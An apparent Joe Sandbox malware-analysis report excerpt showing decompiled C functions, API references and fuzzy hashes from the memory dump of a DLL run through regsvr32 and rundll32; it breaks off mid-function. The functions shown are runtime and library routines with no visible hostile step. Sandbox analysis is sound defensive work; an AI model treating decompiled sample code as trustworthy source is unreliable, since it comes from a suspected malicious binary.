__lock.LIBCMT ref: 6EB6EA36

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 219e24ad91b84addb4ee0c3fc18444d2459a57a42b6e2c6fb96ccc42cf54f7a9
Instruction ID: 9655a5c469ab99f81ccbb73b177b9b59367bad798fd652121a44f625b93e4ff3
Opcode Fuzzy Hash: 219e24ad91b84addb4ee0c3fc18444d2459a57a42b6e2c6fb96ccc42cf54f7a9
Instruction Fuzzy Hash: DEF030329716919EDB51EFF498007CE7FA4BF01728F108959D551AB3C0DB34AA01CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6EB62927 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB62927(intOrPtr _a4, intOrPtr _a8) {
				long _t4;
				long _t5;
				void* _t7;
				void* _t8;
				void* _t9;

				_t13 = _a4;
				if(_a4 == 0) {
					__eflags =  *0x6eb8c998;
					if( *0x6eb8c998 == 0) {
						_t5 = GetTickCount();
						 *0x6eb8c998 =  *0x6eb8c998 + 1;
						__eflags =  *0x6eb8c998;
						 *0x6eb89310 = _t5;
					}
					_t4 = GetTickCount() -  *0x6eb89310;
					__eflags = _t4 - 0xea60;
					if(_t4 > 0xea60) {
						__imp__CoFreeUnusedLibraries();
						_t4 = GetTickCount();
						 *0x6eb89310 = _t4;
					}
					return _t4;
				}
				return E6EB628CB(_t7, _t8, _t9, _t13, _a8);
			}

0x6eb6292c
0x6eb62930
0x6eb6293c
0x6eb6294a
0x6eb6294c
0x6eb6294e
0x6eb6294e
0x6eb62954
0x6eb62954
0x6eb6295b
0x6eb62961
0x6eb62966
0x6eb62968
0x6eb6296e
0x6eb62970
0x6eb62970
0x00000000
0x6eb62975
0x00000000

APIs

GetTickCount.KERNEL32 ref: 6EB6294C
GetTickCount.KERNEL32 ref: 6EB62959
CoFreeUnusedLibraries.OLE32 ref: 6EB62968
GetTickCount.KERNEL32 ref: 6EB6296E

Part of subcall function 6EB628CB: CoFreeUnusedLibraries.OLE32 ref: 6EB62913
Part of subcall function 6EB628CB: OleUninitialize.OLE32 ref: 6EB62919

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: a4c42913de9c122881d74e781089aace7cfdc8af0ff5daeafa2d09dfe2d04859
Instruction ID: 875d08110b43ac63da856a85342f5e9eb53a38207899f09b967e09f8c338a737
Opcode Fuzzy Hash: a4c42913de9c122881d74e781089aace7cfdc8af0ff5daeafa2d09dfe2d04859
Instruction Fuzzy Hash: B1E06D30810A689BEF01AFA8C94879A3FA8FBA3310F514977F519976D0C7705590CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5C899 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB5C899(intOrPtr* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t102;
				intOrPtr* _t103;
				signed int _t105;
				signed int _t117;
				intOrPtr* _t121;
				signed int _t137;
				signed int _t145;
				void* _t148;
				signed int _t149;
				signed int _t173;
				signed int _t175;
				void* _t183;
				signed int _t185;
				void* _t186;
				void* _t188;

				_t187 = __ecx;
				_t145 = 0;
				if( *((intOrPtr*)(__ecx + 0x48)) == 0) {
					__eflags =  *(__ecx + 0x40);
					if( *(__ecx + 0x40) == 0) {
						L9:
						_t148 = 0;
						__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t145;
						 *(_t187 + 0x38) = _t145;
						if( *((intOrPtr*)(_t187 + 0x10)) <= _t145) {
							L12:
							_t102 =  *(_t187 + 0x38);
							__eflags = _t102 - _t145;
							if(__eflags > 0) {
								_t175 = 0x30;
								_t167 =  ~(__eflags > 0) | _t102 * _t175;
								 *((intOrPtr*)(_t187 + 0x3c)) = E6EB47C96( ~(__eflags > 0) | _t102 * _t175, _t167);
							}
							__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t145;
							_v12 = _t145;
							_v16 = _t145;
							if( *((intOrPtr*)(_t187 + 0x10)) <= _t145) {
								L21:
								_t149 =  *(_t187 + 0x38);
								_t103 =  *((intOrPtr*)(_t187 + 8));
								 *((intOrPtr*)( *_t103 + 0x10))(_t103, _t149,  *((intOrPtr*)(_t187 + 0x3c)), _t149 << 4, _t145);
								_t105 =  *(_t187 + 0x38);
								__eflags = _t105 - _t145;
								if(__eflags != 0) {
									_t173 = 0x10;
									_t156 =  ~(__eflags > 0) | _t105 * _t173;
									 *(_t187 + 0x40) = E6EB47C96( ~(__eflags > 0) | _t105 * _t173, _t156);
								}
								__eflags =  *(_t187 + 0x38) - _t145;
								if( *(_t187 + 0x38) <= _t145) {
									L26:
									E6EB5C087(_t187);
									return  *((intOrPtr*)( *_t187 + 0x10))();
								} else {
									_t183 = 0;
									__eflags = 0;
									do {
										E6EB65E80(_t183,  *(_t187 + 0x40) + _t183, 0, 0x10);
										_t188 = _t188 + 0xc;
										 *((short*)(_t183 +  *(_t187 + 0x40))) = 0;
										_t145 = _t145 + 1;
										_t183 = _t183 + 0x10;
										__eflags = _t145 -  *(_t187 + 0x38);
									} while (_t145 <  *(_t187 + 0x38));
									goto L26;
								}
							} else {
								_v8 = _t145;
								do {
									_t117 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x14)) + _v8 + 0x24)) + 4));
									_v20 = _t117;
									__eflags = _t117 - _t145;
									if(_t117 == _t145) {
										goto L20;
									}
									_t185 = _v12 * 0x30;
									__eflags = _t185;
									do {
										_t121 = E6EB4ABF2( &_v20);
										E6EB59E0A( *((intOrPtr*)(_t187 + 0x3c)) + _t185,  *((intOrPtr*)(_t187 + 0x14)) + _v8);
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x18) = _v12 << 4;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x1c) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x1c) & 0x00000000;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x24) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x24) | 0xffffffff;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x20) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x20) | 0xffffffff;
										_v12 = _v12 + 1;
										 *((intOrPtr*)(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x28)) = 1;
										 *((intOrPtr*)(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x2c)) =  *((intOrPtr*)( *_t121 + 0xa0));
										_t185 = _t185 + 0x30;
										__eflags = _v20;
									} while (_v20 != 0);
									_t145 = 0;
									__eflags = 0;
									L20:
									_v16 = _v16 + 1;
									_v8 = _v8 + 0x28;
									__eflags = _v16 -  *((intOrPtr*)(_t187 + 0x10));
								} while (_v16 <  *((intOrPtr*)(_t187 + 0x10)));
								goto L21;
							}
						}
						_t137 =  *((intOrPtr*)(_t187 + 0x14)) + 0x24;
						__eflags = _t137;
						do {
							 *(_t187 + 0x38) =  *(_t187 + 0x38) +  *((intOrPtr*)( *_t137 + 0xc));
							_t148 = _t148 + 1;
							_t137 = _t137 + 0x28;
							__eflags = _t148 -  *((intOrPtr*)(_t187 + 0x10));
						} while (_t148 <  *((intOrPtr*)(_t187 + 0x10)));
						goto L12;
					}
					_t186 = 0;
					__eflags =  *(__ecx + 0x38);
					if( *(__ecx + 0x38) <= 0) {
						L8:
						 *(_t187 + 0x40) = _t145;
						goto L9;
					}
					_v12 = 0;
					do {
						__imp__#9( *(__ecx + 0x40) + _v12);
						_v12 = _v12 + 0x10;
						_t186 = _t186 + 1;
						__eflags = _t186 -  *(__ecx + 0x38);
					} while (_t186 <  *(__ecx + 0x38));
					__eflags =  *(__ecx + 0x38);
					if(__eflags > 0) {
						E6EB47CD0(0, _t186, __ecx, __eflags,  *(__ecx + 0x40));
						E6EB47CD0(0, _t186, _t187, __eflags,  *((intOrPtr*)(_t187 + 0x3c)));
					}
					goto L8;
				}
				E6EB5C087(__ecx);
				return  *((intOrPtr*)( *__ecx + 0x10))();
			}

0x6eb5c8a3
0x6eb5c8a5
0x6eb5c8aa
0x6eb5c8be
0x6eb5c8c1
0x6eb5c8fe
0x6eb5c8fe
0x6eb5c900
0x6eb5c903
0x6eb5c906
0x6eb5c91f
0x6eb5c91f
0x6eb5c922
0x6eb5c924
0x6eb5c92a
0x6eb5c932
0x6eb5c93b
0x6eb5c93b
0x6eb5c93e
0x6eb5c941
0x6eb5c944
0x6eb5c947
0x6eb5c9f1
0x6eb5c9f1
0x6eb5c9f4
0x6eb5ca05
0x6eb5ca08
0x6eb5ca0b
0x6eb5ca0d
0x6eb5ca13
0x6eb5ca1b
0x6eb5ca24
0x6eb5ca24
0x6eb5ca27
0x6eb5ca2a
0x6eb5ca52
0x6eb5ca54
0x00000000
0x6eb5ca2c
0x6eb5ca2c
0x6eb5ca2c
0x6eb5ca2e
0x6eb5ca38
0x6eb5ca42
0x6eb5ca45
0x6eb5ca49
0x6eb5ca4a
0x6eb5ca4d
0x6eb5ca4d
0x00000000
0x6eb5ca2e
0x6eb5c94d
0x6eb5c94d
0x6eb5c950
0x6eb5c95a
0x6eb5c95d
0x6eb5c960
0x6eb5c962
0x00000000
0x00000000
0x6eb5c967
0x6eb5c967
0x6eb5c96a
0x6eb5c978
0x6eb5c98e
0x6eb5c99c
0x6eb5c9a3
0x6eb5c9ab
0x6eb5c9b3
0x6eb5c9bb
0x6eb5c9be
0x6eb5c9cf
0x6eb5c9d3
0x6eb5c9d6
0x6eb5c9d6
0x6eb5c9dc
0x6eb5c9dc
0x6eb5c9de
0x6eb5c9de
0x6eb5c9e4
0x6eb5c9e8
0x6eb5c9e8
0x00000000
0x6eb5c950
0x6eb5c947
0x6eb5c90b
0x6eb5c90b
0x6eb5c90e
0x6eb5c913
0x6eb5c916
0x6eb5c917
0x6eb5c91a
0x6eb5c91a
0x00000000
0x6eb5c90e
0x6eb5c8c3
0x6eb5c8c5
0x6eb5c8c8
0x6eb5c8fb
0x6eb5c8fb
0x00000000
0x6eb5c8fb
0x6eb5c8ca
0x6eb5c8cd
0x6eb5c8d4
0x6eb5c8da
0x6eb5c8de
0x6eb5c8df
0x6eb5c8df
0x6eb5c8e4
0x6eb5c8e7
0x6eb5c8ec
0x6eb5c8f4
0x6eb5c8fa
0x00000000
0x6eb5c8e7
0x6eb5c8ac
0x00000000

APIs

VariantClear.OLEAUT32(?), ref: 6EB5C8D4

Strings

(, xrefs: 6EB5C9E4

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ClearVariant
String ID: (
API String ID: 1473721057-3887548279
Opcode ID: 1455c89647184e3d6462538d82b498f5d5a81d55c35bc1c918e7dec751e15768
Instruction ID: 8b36c5b7a1272a1bb12f6ce6de2dcf6c8ab17a005478add11614751b571aa7cb
Opcode Fuzzy Hash: 1455c89647184e3d6462538d82b498f5d5a81d55c35bc1c918e7dec751e15768
Instruction Fuzzy Hash: 6E514471A10781DFCB64CFA8C98196ABBF6FF48314B504A2DE5829BA91C770F891CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB412C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6EB412C0(void* __edx, void* __esi) {
				int _v4;
				intOrPtr _v8;
				char _v12;
				char _v16;
				void* __ecx;
				signed int _t19;
				intOrPtr* _t21;
				intOrPtr* _t25;
				long _t37;
				signed int _t46;
				void* _t50;
				intOrPtr _t53;
				long _t56;
				intOrPtr _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;

				_t58 = __esi;
				_t50 = __edx;
				_push(0xffffffff);
				_push(0x6eb78678);
				_push( *[fs:0x0]);
				_t19 =  *0x6eb89470; // 0x6287ae78
				_push(_t19 ^ _t59);
				_t21 =  &_v12;
				 *[fs:0x0] = _t21;
				if( *((intOrPtr*)(__esi + 0x80)) != 0) {
					_t56 = SendMessageA( *(__esi + 0x20), 0x400, 0, 0);
					_t37 = SendMessageA( *(__esi + 0x20), 0x402, 0, 0);
					_t25 = E6EB4838C();
					_t62 = _t25;
					_t43 = 0 | _t62 == 0x00000000;
					if(_t62 == 0) {
						_t25 = L6EB41000(_t43, _t50, 0x80004005);
					}
					_v16 =  *((intOrPtr*)( *((intOrPtr*)( *_t25 + 0xc))))() + 0x10;
					_push(_t37 - _t56);
					_v4 = 0;
					E6EB415B0( &_v16, "%d (0x%02X)", _t37 - _t56);
					_t57 = _v16;
					_t46 =  *(_t58 + 0x80);
					_t59 = _t59 + 0x10;
					E6EB4F629(_t46, _t57);
					_t13 = _t57 - 0x10; // 0x6eb78668
					_t21 = _t13;
					_v8 = 0xffffffff;
					asm("lock xadd [edx], ecx");
					if((_t46 | 0xffffffff) - 1 <= 0) {
						_t53 =  *((intOrPtr*)( *_t21));
						_t16 = _t53 + 4; // 0x824548b
						_t21 =  *((intOrPtr*)( *_t16))(_t21);
					}
				}
				 *[fs:0x0] = _v12;
				return _t21;
			}

0x6eb412c0
0x6eb412c0
0x6eb412c0
0x6eb412c2
0x6eb412cd
0x6eb412d1
0x6eb412d8
0x6eb412d9
0x6eb412dd
0x6eb412ea
0x6eb41312
0x6eb41316
0x6eb41318
0x6eb4131f
0x6eb41321
0x6eb41326
0x6eb4132d
0x6eb4132d
0x6eb4133e
0x6eb41346
0x6eb41352
0x6eb4135a
0x6eb4135f
0x6eb41363
0x6eb41369
0x6eb4136d
0x6eb41372
0x6eb41372
0x6eb41375
0x6eb41383
0x6eb4138a
0x6eb4138e
0x6eb41391
0x6eb41394
0x6eb41394
0x6eb4138a
0x6eb4139a
0x6eb413a7

APIs

SendMessageA.USER32 ref: 6EB41303
SendMessageA.USER32 ref: 6EB41314

Strings

%d (0x%02X), xrefs: 6EB4134C

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend
String ID: %d (0x%02X)
API String ID: 3850602802-1292222934
Opcode ID: 5da61448c728ad724c64856312d5f33a0166fbf1eed5b5e1386c0de061ccf40c
Instruction ID: 79bf819988f3ed270748bfc40035e3671fcdbe48e78f0e61a3b3c4114d248b88
Opcode Fuzzy Hash: 5da61448c728ad724c64856312d5f33a0166fbf1eed5b5e1386c0de061ccf40c
Instruction Fuzzy Hash: 51217AB1204741AFD754CFA8CC81F6AB7E8FB89720F144A1CF166DB6D0DB34A8098B54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB50A45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB50A45(void* __ecx) {
				signed int _v8;
				char _v20;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				long _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t29;
				signed int _t34;

				_t32 = _t34;
				_t9 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t9 ^ _t34;
				_t12 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t12 == 0) {
					L4:
					_t13 = 0;
					__eflags = 0;
				} else {
					_t38 = _t12 - 0x104;
					if(_t12 == 0x104) {
						goto L4;
					} else {
						 *(PathFindExtensionA( &_v280)) = 0;
						asm("movsd");
						asm("movsd");
						asm("movsb");
						_t13 = E6EB507D6(_t19,  &_v20, "%s%s.dll", _t38,  &_v20,  &_v280);
						_t25 = _t25;
					}
				}
				_pop(_t29);
				return E6EB63DE0(_t13, _t19, _v8 ^ _t32, _t24, _t25, _t29);
			}

0x6eb50a48
0x6eb50a50
0x6eb50a57
0x6eb50a6d
0x6eb50a75
0x6eb50aaa
0x6eb50aaa
0x6eb50aaa
0x6eb50a77
0x6eb50a77
0x6eb50a79
0x00000000
0x6eb50a7b
0x6eb50a89
0x6eb50a94
0x6eb50a9b
0x6eb50aa1
0x6eb50aa2
0x6eb50aa7
0x6eb50aa7
0x6eb50a79
0x6eb50ab1
0x6eb50ab8

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 6EB50A6D
PathFindExtensionA.SHLWAPI(?), ref: 6EB50A83

Part of subcall function 6EB507D6: __EH_prolog3_GS.LIBCMT ref: 6EB507E0
Part of subcall function 6EB507D6: GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6EB50AA7,?,?), ref: 6EB50810
Part of subcall function 6EB507D6: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6EB50824
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB50860
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB5086E
Part of subcall function 6EB507D6: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6EB5088B
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB508B6
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(000003FF), ref: 6EB508BF
Part of subcall function 6EB507D6: GetModuleFileNameA.KERNEL32(6EB40000,?,00000105), ref: 6EB50974

Strings

%s%s.dll, xrefs: 6EB50A8C

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3_HandlePath
String ID: %s%s.dll
API String ID: 1311856149-1649984862
Opcode ID: a242a34d2f8fe036b762eb1d4d53a33136b17047db4cbe6e063df272793e6f6a
Instruction ID: 91bb896d7962845c86d615d604d9912be9d0f37c1f6581773422468605c8ab9c
Opcode Fuzzy Hash: a242a34d2f8fe036b762eb1d4d53a33136b17047db4cbe6e063df272793e6f6a
Instruction Fuzzy Hash: F0016D72A005589FDB14DEA8CD45AEF7BECAB56704F0104A5E546E7284EA70DA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5428B Relevance: 5.0, APIs: 4, Instructions: 38
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB5428B(signed int _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t9;
				signed int _t10;
				void* _t13;
				intOrPtr* _t14;

				_t10 = _a4;
				_t15 = _t10 - 0x11;
				if(_t10 >= 0x11) {
					_t4 = E6EB48BA4(_t7, _t9, _t10, _t13, _t15);
				}
				if( *0x6eb8c6f4 == 0) {
					_t4 = E6EB54267();
				}
				_t14 = 0x6eb8c8a8 + _t10 * 4;
				if( *_t14 == 0) {
					EnterCriticalSection(0x6eb8c890);
					if( *_t14 == 0) {
						_t4 = 0x6eb8c6f8 + _t10 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t14 =  *_t14 + 1;
					}
					LeaveCriticalSection(0x6eb8c890);
				}
				EnterCriticalSection(0x6eb8c6f8 + _t10 * 0x18);
				return _t4;
			}

0x6eb54293
0x6eb54296
0x6eb54299
0x6eb5429b
0x6eb5429b
0x6eb542a7
0x6eb542a9
0x6eb542a9
0x6eb542b4
0x6eb542be
0x6eb542c5
0x6eb542ca
0x6eb542d1
0x6eb542d7
0x6eb542dd
0x6eb542dd
0x6eb542e4
0x6eb542e4
0x6eb542f4
0x6eb542fa

APIs

EnterCriticalSection.KERNEL32(6EB8C890,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542C5
InitializeCriticalSection.KERNEL32(-6EB8C6F8,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542D7
LeaveCriticalSection.KERNEL32(6EB8C890,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542E4
EnterCriticalSection.KERNEL32(-6EB8C6F8,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542F4

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: e10beb5ca481452b33c188a08659e86046a217f3a1ab4cf909b7cfc24e53e66e
Instruction ID: 4f92330492504a4507e2c7e4f1b39ea19d332e6ffaa4e4cf94c7395837701300
Opcode Fuzzy Hash: e10beb5ca481452b33c188a08659e86046a217f3a1ab4cf909b7cfc24e53e66e
Instruction Fuzzy Hash: 80F0F6B2561165AFDB002ED8DC44F5EBF69EBE3315F121521E0015B701CB7194A6CA67

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55595 Relevance: 5.0, APIs: 4, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB55595(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x6eb8c964
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

0x6eb5559c
0x6eb5559f
0x6eb5559f
0x6eb555a3
0x6eb555a9
0x6eb555ae
0x6eb555d7
0x6eb555d8
0x00000000
0x6eb555de
0x6eb555b0
0x6eb555b3
0x00000000
0x00000000
0x6eb555b7
0x6eb555bf
0x00000000
0x6eb555c6
0x6eb555cd
0x00000000
0x6eb555d3

APIs

EnterCriticalSection.KERNEL32(6EB8C964,73FC5680,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB555A3
TlsGetValue.KERNEL32(6EB8C948,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555B7
LeaveCriticalSection.KERNEL32(6EB8C964,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555CD
LeaveCriticalSection.KERNEL32(6EB8C964,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555D8

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 0ae8b907fe5837c1490cea003b2d1c4ee6aa0f5342c883ad67b317c808d19ade
Instruction ID: 0e8c37522c21ae37a72e90878d73b12964f5f931ecd08996b07173ae272bd00d
Opcode Fuzzy Hash: 0ae8b907fe5837c1490cea003b2d1c4ee6aa0f5342c883ad67b317c808d19ade
Instruction Fuzzy Hash: 5CF0E9B32115149FEB109FA8D888E4FBBBEEF853613164425F50583610DB30F911CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 6360, Parent PID: 6340COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	387
Total number of Limit Nodes:	25

Executed Functions

Function 6EB456B0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 412
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E6EB456B0(void* __edi) {
				void* __ebx;
				void* __esi;
				signed int _t102;
				void* _t108;
				void* _t121;
				intOrPtr _t125;
				intOrPtr _t126;
				intOrPtr _t127;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
